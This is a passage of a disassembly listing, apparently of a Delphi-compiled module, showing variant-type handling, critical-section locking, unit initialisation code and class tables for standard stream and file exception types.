		jnz	short loc_2000EBB1
		mov	eax, esi
		mov	edx, offset aString ; "String"
		call	sub_20003FFC
		jmp	loc_2000EC37
; ---------------------------------------------------------------------------


loc_2000EBB1:				; CODE XREF: sub_2000EB50+4Ej
		cmp	bx, 101h
		jnz	short loc_2000EBC6
		mov	eax, esi
		mov	edx, offset dword_2000EC9C
		call	sub_20003FFC
		jmp	short loc_2000EC37
; ---------------------------------------------------------------------------


loc_2000EBC6:				; CODE XREF: sub_2000EB50+66j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_2000EFAC
		test	al, al
		jz	short loc_2000EC0F
		lea	eax, [ebp+var_104]
		push	eax
		lea	edx, [ebp+var_204]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_2000346C
		lea	eax, [ebp+var_204]
		mov	ecx, 7FFFFFFFh
		mov	edx, 2
		call	sub_20002798
		lea	edx, [ebp+var_104]
		mov	eax, esi
		call	sub_2000420C
		jmp	short loc_2000EC37
; ---------------------------------------------------------------------------


loc_2000EC0F:				; CODE XREF: sub_2000EB50+82j
		lea	ecx, [ebp+var_208]
		movzx	eax, di
		mov	edx, 4
		call	sub_20007274
		mov	ecx, [ebp+var_208]
		mov	edx, ds:off_20014578
		mov	edx, [edx]
		mov	eax, esi
		call	sub_20004290


loc_2000EC37:				; CODE XREF: sub_2000EB50+44j
					; sub_2000EB50+5Cj ...
		test	bh, 20h
		jz	short loc_2000EC4A
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_2000ECA8
		call	sub_20004290


loc_2000EC4A:				; CODE XREF: sub_2000EB50+EAj
		test	bh, 40h
		jz	short loc_2000EC5D
		mov	ecx, [esi]
		mov	eax, esi
		mov	edx, offset dword_2000ECB8
		call	sub_20004290


loc_2000EC5D:				; CODE XREF: sub_2000EB50+FDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000EC7D


loc_2000EC6A:				; CODE XREF: sub_2000EB50+12Bj
		lea	eax, [ebp+var_208]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000EC76:				; DATA XREF: sub_2000EB50+1Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000EC6A
; ---------------------------------------------------------------------------


loc_2000EC7D:				; CODE XREF: sub_2000EB50+125j
					; DATA XREF: sub_2000EB50+115o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000EB50	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 6
aString		db 'String',0           ; DATA XREF: sub_2000EB50+52o
		align 4
		dd 0FFFFFFFFh, 3
dword_2000EC9C	dd 796E41h, 0FFFFFFFFh,	6 ; DATA XREF: sub_2000EB50+6Ao
dword_2000ECA8	dd 61727241h, 2079h, 0FFFFFFFFh, 6 ; DATA XREF:	sub_2000EB50+F0o
dword_2000ECB8	dd 65527942h, 2066h	; DATA XREF: sub_2000EB50+103o

; =============== S U B	R O U T	I N E =======================================



sub_2000ECC0	proc near		; CODE XREF: sub_2000ECD8+5p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_2000D6F0
		mov	word ptr [ebx],	0Ah
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_2000ECC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000ECD8	proc near		; CODE XREF: CODE:2000F0FBp
		mov	edx, 80020004h
		call	sub_2000ECC0
		retn
sub_2000ECD8	endp

; ---------------------------------------------------------------------------
		align 4
off_2000ECE4	dd offset dword_2000ECE8 ; DATA	XREF: CODE:2000F091r
dword_2000ECE8	dd 302E0311h, 432h, 0	; DATA XREF: CODE:off_2000ECE4o
		dd 0FFFFFF00h
; ---------------------------------------------------------------------------
		jmp	dword ptr [edx+ecx*8+0]
; ---------------------------------------------------------------------------
		dd 61560820h, 6E616972h, 0C08B7374h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000ED08	proc near		; CODE XREF: CODE:2000F07Dp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_20015834
		push	offset stru_20015838 ; lpCriticalSection
		call	EnterCriticalSection_0
		xor	edx, edx
		push	ebp
		push	offset loc_2000ED69
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [esi]
		call	sub_20004C88
		mov	ebx, eax
		dec	ebx
		cmp	ebx, 0
		jl	short loc_2000ED51


loc_2000ED39:				; CODE XREF: sub_2000ED08+47j
		mov	eax, [esi]
		mov	eax, [eax+ebx*4]
		cmp	eax, ds:dword_20014340
		jz	short loc_2000ED4B
		call	sub_200034F4


loc_2000ED4B:				; CODE XREF: sub_2000ED08+3Cj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_2000ED39


loc_2000ED51:				; CODE XREF: sub_2000ED08+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000ED70


loc_2000ED5E:				; CODE XREF: sub_2000ED08+66j
		push	offset stru_20015838 ; lpCriticalSection
		call	LeaveCriticalSection_0
		retn
; ---------------------------------------------------------------------------


loc_2000ED69:				; DATA XREF: sub_2000ED08+17o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000ED5E
; ---------------------------------------------------------------------------


loc_2000ED70:				; CODE XREF: sub_2000ED08+60j
					; DATA XREF: sub_2000ED08+51o
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_2000ED08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000ED74	proc near		; DATA XREF: CODE:2000CA40o
		push	ebp
		mov	ebp, esp
		call	sub_2000EF34
		pop	ebp
		retn	4
sub_2000ED74	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000ED80	proc near		; DATA XREF: CODE:2000CA2Co

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	ax, [esi]
		call	sub_2000EFAC
		test	al, al
		jz	short loc_2000EDAC
		mov	ax, [ebx+4]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_2000EDB3
; ---------------------------------------------------------------------------


loc_2000EDAC:				; CODE XREF: sub_2000ED80+16j
		mov	eax, ebx
		call	sub_2000EF2C


loc_2000EDB3:				; CODE XREF: sub_2000ED80+2Aj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000ED80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EDB8	proc near		; DATA XREF: CODE:2000CA30o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	edi, [ebp+arg_0]
		cmp	di, [ebx+4]
		jz	short loc_2000EDF0
		lea	edx, [ebp+var_8]
		mov	ax, [esi]
		call	sub_2000EFAC
		test	al, al
		jz	short loc_2000EDF0
		push	edi
		mov	ecx, esi
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_2000EDF7
; ---------------------------------------------------------------------------


loc_2000EDF0:				; CODE XREF: sub_2000EDB8+17j
					; sub_2000EDB8+26j
		mov	eax, ebx
		call	sub_2000EF2C


loc_2000EDF7:				; CODE XREF: sub_2000EDB8+36j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_2000EDB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EE00	proc near		; DATA XREF: CODE:2000CA4Co
		push	ebp
		mov	ebp, esp
		call	sub_2000EF34
		pop	ebp
		retn	4
sub_2000EE00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EE0C	proc near		; DATA XREF: CODE:2000CA48o

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		lea	eax, [ebp+var_1]
		push	eax
		mov	edx, edi
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+38h]
		xor	eax, eax
		mov	al, [ebp+var_1]
		mov	edx, [ebp+arg_0]
		lea	edx, [edx+edx*2]
		add	edx, offset dword_20014398
		mov	al, [edx+eax-2Ah]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_2000EE0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EE44	proc near		; DATA XREF: CODE:2000CA34o

var_14		= word ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebp, [eax]
		call	dword ptr [ebp+0Ch]
		test	al, al
		jz	short loc_2000EE70
		mov	ax, [esp+14h+var_14]
		push	eax
		mov	ecx, esi
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		jmp	short loc_2000EE77
; ---------------------------------------------------------------------------


loc_2000EE70:				; CODE XREF: sub_2000EE44+18j
		mov	eax, ebx
		call	sub_2000EF2C


loc_2000EE77:				; CODE XREF: sub_2000EE44+2Aj
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000EE44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EE80	proc near		; DATA XREF: CODE:2000CA10o

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_200037A4
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		push	offset stru_20015838 ; lpCriticalSection
		call	EnterCriticalSection_0
		xor	edx, edx
		push	ebp
		push	offset loc_2000EEE3
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	ax, [eax+4]
		test	ax, ax
		jz	short loc_2000EECB
		movzx	eax, ax
		mov	edx, ds:dword_20015834
		mov	ecx, ds:dword_20014340
		mov	[edx+eax*4-400h], ecx


loc_2000EECB:				; CODE XREF: sub_2000EE80+33j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000EEEA


loc_2000EED8:				; CODE XREF: sub_2000EE80+68j
		push	offset stru_20015838 ; lpCriticalSection
		call	LeaveCriticalSection_0
		retn
; ---------------------------------------------------------------------------


loc_2000EEE3:				; DATA XREF: sub_2000EE80+1Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000EED8
; ---------------------------------------------------------------------------


loc_2000EEEA:				; CODE XREF: sub_2000EE80+62j
					; DATA XREF: sub_2000EE80+53o
		mov	dl, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_200034E4
		cmp	[ebp+var_5], 0
		jle	short loc_2000EF06
		mov	eax, [ebp+var_4]
		call	sub_2000378C


loc_2000EF06:				; CODE XREF: sub_2000EE80+7Cj
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_2000EE80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EF0C	proc near		; DATA XREF: CODE:2000CA28o
		xor	eax, eax
		retn
sub_2000EF0C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EF10	proc near		; DATA XREF: CODE:2000CA18o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ax, [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_2000EF10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EF24	proc near		; DATA XREF: CODE:2000CA20o
		mov	word ptr [ecx],	8
		mov	al, 1
		retn
sub_2000EF24	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000EF2C	proc near		; CODE XREF: sub_2000ED80+2Ep
					; sub_2000EDB8+3Ap ...
		call	sub_2000CF50
		retn
sub_2000EF2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EF34	proc near		; CODE XREF: sub_2000ED74+3p
					; sub_2000EE00+3p ...
		call	sub_2000D040
		retn
sub_2000EF34	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EF3C	proc near		; CODE XREF: sub_2000EF60+3p
		call	sub_2000D418
		retn
sub_2000EF3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EF44	proc near		; DATA XREF: CODE:2000CA1Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ax, [eax+4]
		mov	[edx], ax
		mov	al, 1
		pop	ebp
		retn	4
sub_2000EF44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000EF58	proc near		; DATA XREF: CODE:2000CA44o
		call	sub_2000EF34
		retn
sub_2000EF58	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EF60	proc near		; DATA XREF: CODE:2000CA24o
		push	ebp
		mov	ebp, esp
		call	sub_2000EF3C
		pop	ebp
		retn	8
sub_2000EF60	endp

; ---------------------------------------------------------------------------


loc_2000EF6C:				; CODE XREF: CODE:2000C98Bj
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4


loc_2000EF78:				; CODE XREF: CODE:2000C995j
		push	ebp
		mov	ebp, esp
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EF84	proc near		; DATA XREF: CODE:off_2000CA14o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	eax, ebx
		call	sub_200035A8
		test	al, al
		jz	short loc_2000EFA0
		xor	eax, eax
		jmp	short loc_2000EFA5
; ---------------------------------------------------------------------------


loc_2000EFA0:				; CODE XREF: sub_2000EF84+16j
		mov	eax, 80004002h


loc_2000EFA5:				; CODE XREF: sub_2000EF84+1Aj
		pop	ebx
		pop	ebp
		retn	0Ch
sub_2000EF84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000EFAC	proc near		; CODE XREF: sub_2000D674+56p
					; sub_2000D96C+80p ...

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:dword_20015834, 0
		jz	short loc_2000EFCE
		cmp	bx, 100h
		jb	short loc_2000EFCE
		cmp	bx, 7FFh
		jbe	short loc_2000EFD2


loc_2000EFCE:				; CODE XREF: sub_2000EFAC+12j
					; sub_2000EFAC+19j
		xor	eax, eax
		jmp	short loc_2000EFD4
; ---------------------------------------------------------------------------


loc_2000EFD2:				; CODE XREF: sub_2000EFAC+20j
		mov	al, 1


loc_2000EFD4:				; CODE XREF: sub_2000EFAC+24j
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jz	short loc_2000F05B
		push	offset stru_20015838 ; lpCriticalSection
		call	EnterCriticalSection_0
		xor	eax, eax
		push	ebp
		push	offset loc_2000F054
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ds:dword_20015834
		call	sub_20004C88
		movzx	edi, bx
		mov	edx, edi
		sub	edx, 100h
		cmp	eax, edx
		setnle	[ebp+var_1]
		cmp	[ebp+var_1], 0
		jz	short loc_2000F03C
		mov	eax, ds:dword_20015834
		mov	eax, [eax+edi*4-400h]
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jz	short loc_2000F033
		mov	eax, [esi]
		cmp	eax, ds:dword_20014340
		jnz	short loc_2000F037


loc_2000F033:				; CODE XREF: sub_2000EFAC+7Bj
		xor	eax, eax
		jmp	short loc_2000F039
; ---------------------------------------------------------------------------


loc_2000F037:				; CODE XREF: sub_2000EFAC+85j
		mov	al, 1


loc_2000F039:				; CODE XREF: sub_2000EFAC+89j
		mov	[ebp+var_1], al


loc_2000F03C:				; CODE XREF: sub_2000EFAC+68j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F05B


loc_2000F049:				; CODE XREF: sub_2000EFAC+ADj
		push	offset stru_20015838 ; lpCriticalSection
		call	LeaveCriticalSection_0
		retn
; ---------------------------------------------------------------------------


loc_2000F054:				; DATA XREF: sub_2000EFAC+3Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F049
; ---------------------------------------------------------------------------


loc_2000F05B:				; CODE XREF: sub_2000EFAC+2Fj
					; sub_2000EFAC+A7j
					; DATA XREF: ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_2000EFAC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000F0D3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015830
		jnz	short loc_2000F0C5
		call	sub_2000ED08
		push	offset stru_20015838
		call	DeleteCriticalSection_0
		mov	eax, offset dword_20015834
		mov	edx, off_2000ECE4
		call	sub_20004E50
		mov	eax, offset off_20014344
		mov	ecx, 15h
		mov	edx, off_20001000
		call	sub_2000493C
		mov	eax, offset dword_20014338
		call	sub_20003FA8
		mov	eax, offset dword_20015810
		call	sub_2000D704


loc_2000F0C5:				; CODE XREF: CODE:2000F07Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F0DA


loc_2000F0D2:				; CODE XREF: CODE:2000F0D8j
		retn
; ---------------------------------------------------------------------------


loc_2000F0D3:				; DATA XREF: CODE:2000F06Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F0D2
; ---------------------------------------------------------------------------


loc_2000F0DA:				; CODE XREF: CODE:loc_2000F0D2j
					; DATA XREF: CODE:2000F0CDo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000F17D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_20015830, 1
		jnb	short loc_2000F16F
		mov	eax, offset dword_20015810
		call	sub_2000ECD8
		mov	eax, offset sub_2000D418
		mov	ds:dword_20015820, eax
		mov	eax, offset sub_2000D040
		mov	ds:dword_20015824, eax
		mov	edx, offset sub_2000CF50
		mov	ds:dword_20015828, edx
		mov	ds:dword_2001582C, eax
		mov	eax, offset sub_2000D704
		mov	edx, ds:off_200144B8
		mov	[edx], eax
		mov	eax, offset loc_2000E9CC
		mov	edx, ds:off_200143F0
		mov	[edx], eax
		mov	eax, offset sub_2000DA18
		mov	edx, ds:off_20014500
		mov	[edx], eax
		mov	eax, offset sub_2000DD44
		mov	edx, ds:off_2001458C
		mov	[edx], eax
		mov	eax, offset sub_2000E46C
		mov	edx, ds:off_2001450C
		mov	[edx], eax
		push	offset stru_20015838
		call	InitializeCriticalSection_0


loc_2000F16F:				; CODE XREF: CODE:2000F0F4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F184


loc_2000F17C:				; CODE XREF: CODE:2000F182j
		retn
; ---------------------------------------------------------------------------


loc_2000F17D:				; DATA XREF: CODE:2000F0E2o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F17C
; ---------------------------------------------------------------------------


loc_2000F184:				; CODE XREF: CODE:loc_2000F17Cj
					; DATA XREF: CODE:2000F177o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
off_2000F188	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001449Co
		dd 0FFAAh
off_2000F190	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014444o
		dd 0FFABh
		dd offset dword_20015660 ; DATA	XREF: DATA:off_200145A0o
		dd 0FFACh
		dd offset dword_20015660 ; DATA	XREF: DATA:off_200143CCo
		dd 0FFADh
		dd offset dword_20015660 ; DATA	XREF: DATA:off_200144ECo
		dd 0FFAEh
off_2000F1B0	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144CCo
		dd 0FFAFh
off_2000F1B8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014494o
		db 90h
		db 0FFh, 2 dup(0)
		dd offset dword_20015660 ; DATA	XREF: DATA:off_20014538o
		dd 0FF91h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_2001455Co
		dd 0FF92h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_20014584o
		dd 0FF93h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_20014490o
		dd 0FF94h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_200144B4o
		dd 0FF95h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000F20D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015850
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F214


loc_2000F20C:				; CODE XREF: CODE:2000F212j
		retn
; ---------------------------------------------------------------------------


loc_2000F20D:				; DATA XREF: CODE:2000F1EEo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F20C
; ---------------------------------------------------------------------------


loc_2000F214:				; CODE XREF: CODE:loc_2000F20Cj
					; DATA XREF: CODE:2000F207o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015850, 1
		retn
; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 5
aFalse_0	db 'False',0            ; DATA XREF: DATA:off_200143ACo
		align 10h
dword_2000F230	dd 0FFFFFFFFh, 4, 65757254h, 0 ; DATA XREF: DATA:200143B0o
		dd 0FFFFFFFFh, 1
dword_2000F248	dd 2Eh			; DATA XREF: DATA:off_200143B4o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000F292
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015854
		jnz	short loc_2000F284
		mov	eax, offset off_200143B4
		call	sub_20003FA8
		mov	eax, offset off_200143AC
		mov	ecx, 2
		mov	edx, off_20001000
		call	sub_2000493C


loc_2000F284:				; CODE XREF: CODE:2000F263j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F299


loc_2000F291:				; CODE XREF: CODE:2000F297j
		retn
; ---------------------------------------------------------------------------


loc_2000F292:				; DATA XREF: CODE:2000F252o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F291
; ---------------------------------------------------------------------------


loc_2000F299:				; CODE XREF: CODE:loc_2000F291j
					; DATA XREF: CODE:2000F28Co
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015854, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000F2C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015858
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000F2D0


loc_2000F2C8:				; CODE XREF: CODE:2000F2CEj
		retn
; ---------------------------------------------------------------------------


loc_2000F2C9:				; DATA XREF: CODE:2000F2AAo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000F2C8
; ---------------------------------------------------------------------------


loc_2000F2D0:				; CODE XREF: CODE:loc_2000F2C8j
					; DATA XREF: CODE:2000F2C3o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015858, 1
		retn
; ---------------------------------------------------------------------------
off_2000F2DC	dd offset dword_2000F328 ; DATA	XREF: CODE:2000F360o
					; CODE:2000F474o ...
		dd 7 dup(0)
		dd offset dword_2000F328
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F328	dd 7453450Ch, 6D616572h, 6F727245h, 408D72h ; DATA XREF: CODE:off_2000F2DCo
					; CODE:2000F2FCo
off_2000F338	dd offset dword_2000F384 ; DATA	XREF: CODE:2000F3C0o
					; CODE:2000F41Co
		dd 7 dup(0)
		dd offset dword_2000F384
		dd 0Ch
		dd offset off_2000F2DC
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F384	dd 69464510h, 7453656Ch, 6D616572h, 6F727245h, 408D72h
					; DATA XREF: CODE:off_2000F338o
					; CODE:2000F358o
off_2000F398	dd offset dword_2000F3E4 ; DATA	XREF: sub_20011AF8+9Ar
		dd 7 dup(0)
		dd offset dword_2000F3E4
		dd 0Ch
		dd offset off_2000F338
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F3E4	dd 4346450Dh, 74616572h, 72724565h, 0C08B726Fh
					; DATA XREF: CODE:off_2000F398o
					; CODE:2000F3B8o
off_2000F3F4	dd offset dword_2000F440 ; DATA	XREF: sub_20011AF8+FFr
		dd 7 dup(0)
		dd offset dword_2000F440
		dd 0Ch
		dd offset off_2000F338
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F440	dd 4F46450Bh, 456E6570h, 726F7272h ; DATA XREF:	CODE:off_2000F3F4o
					; CODE:2000F414o
off_2000F44C	dd offset dword_2000F498 ; DATA	XREF: CODE:2000F4CCo
					; CODE:2000F524o
		dd 7 dup(0)
		dd offset dword_2000F498
		dd 0Ch
		dd offset off_2000F2DC
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F498	dd 6946450Bh, 4572656Ch, 726F7272h ; DATA XREF:	CODE:off_2000F44Co
					; CODE:2000F46Co
		dd offset dword_2000F4F0 ; DATA	XREF: sub_20011DB0+7r
					; sub_20011E68+23r
		dd 7 dup(0)
		dd offset dword_2000F4F0
		dd 0Ch
		dd offset off_2000F44C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F4F0	dd 6552450Ah, 72456461h, 90726F72h ; DATA XREF:	CODE:2000F4A4o
					; CODE:2000F4C4o
off_2000F4FC	dd offset dword_2000F548 ; DATA	XREF: sub_200119B8+24r
		dd 7 dup(0)
		dd offset dword_2000F548
		dd 0Ch
		dd offset off_2000F44C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F548	dd 7257450Bh, 45657469h, 726F7272h ; DATA XREF:	CODE:off_2000F4FCo
					; CODE:2000F51Co
off_2000F554	dd offset dword_2000F5A0 ; DATA	XREF: sub_2000FFC4+23r
		dd 7 dup(0)
		dd offset dword_2000F5A0
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000F5A0	dd 694C450Ah, 72457473h, 90726F72h ; DATA XREF:	CODE:off_2000F554o
					; CODE:2000F574o
off_2000F5AC	dd offset dword_2000F5F8 ; DATA	XREF: sub_20010760+23r
		dd 7 dup(0)
		dd offset dword_2000F5F8
		dd 0Ch
		dd offset off_20006350
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
